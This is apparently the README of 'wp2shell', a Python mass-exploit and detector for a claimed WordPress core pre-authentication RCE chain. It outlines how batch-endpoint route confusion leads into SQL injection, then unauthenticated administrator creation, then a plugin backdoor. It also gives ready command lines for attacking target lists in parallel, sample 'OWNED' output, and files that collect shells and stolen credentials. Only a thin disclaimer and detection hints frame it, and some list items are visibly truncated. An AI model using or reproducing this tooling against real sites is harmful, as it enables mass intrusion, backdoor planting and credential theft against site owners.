Python mass exploit and detector for the WordPress Core pre-auth RCE chain CVE-2026-63030 and CVE-2026-60137, chaining SQL injection into remote code execution.
WordPress Core Pre-Authentication RCE (mass exploit / detector)
| Attribute | Details |
|---|---|
| CVE ID | CVE-2026-63030 (+ CVE-2026-60137) |
| Chain | wp2shell — pre-auth RCE |
| Severity | 🔴 CRITICAL (CVSS 9.8) |
| Target | WordPress Core (without plugins) |
| Affected (RCE) | 6.9.0 – 6.9.4 and 7.0.0 – 7.0.1 |
| Affected (SQLi only) | 6.8.0 – 6.8.5 |
| Fixed | 6.8.6 / 6.9.5 / 7.0.2 (07/18/2026) |
| Authentication Required | None |
Two chained flaws in the WordPress core:
author__not_in parameter of the internal WP_Query class./wp-json/batch/v1 endpoint desynchronizes batch entries, causing a request to "fall" into the next route.The chain converts the SQLi into pre-authentication RCE:
route confusion /wp-json/batch/v1 ─► SQLi in author__not_in
│ │
└──────────────┬─────────────────────┘
▼
UNION fake-post + oEmbed + changeset poisoning
▼
POST /wp/v2/users (roles: administrator) ← admin created without auth
▼
login → upload plugin backdoor → RCE
Fallbacks: direct INTO OUTFILE (FILE privilege) and blind hash extraction + crack.
python wp2shell.py exploit -l targets.txt --cmd whoami --authorized -k -c 10 --delay 2
python wp2shell.py remote -l targets.txt --authorized --active-probe -c 20 -f csv -o scan.csv
| Option | Description |
|---|---|
-l, --targets-file | One target per line (repeatable, no limit) |
-u, --target | Single target |
--cmd | Command to execute on the target |
--authorized | Required (or WP2SHELL_AUTHORIZED=1) |
-c, --concurrency | Targets in parallel (1–32) |
--delay | SLEEP for timing/extraction (2 = robust) |
--rate | Requests/s per target |
-k, --insecure | Ignore TLS |
--proxy | HTTP proxy |
--wordlist / --password / --username | Credential fallback |
--log / --owned / --results-csv | Output files |
[+] [14:22:31] https://target.com OWNED ✓1 ~0 ✗10
[~] [14:22:32] https://other.com ADMIN ✓1 ~1 ✗10
---- SUMMARY ----
[+] owned=1 [~] admin=1 [-] fail=10 [.] error=0
owned.txt — targets with RCE (shell URL)admins.txt — admins created without RCE sink (credentials)exploit_log.txt — per-target detailresults.csv — summary (exit_code: 0=owned, 4=admin, 2=fail, 3=error)whl_page via SQLi) + common slugs├── wp2shell.py # exploit + detector
├── targets.txt # targets (one URL per line)
├── owned.txt # RCE achieved (auto-created)
├── admins.txt # admins created (auto-created)
└── README.md
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
/wp-json/batch/v1 and /?rest_route=/batch/v1wp-content/uploads/ and wp-content/plugins/ for suspicious PHP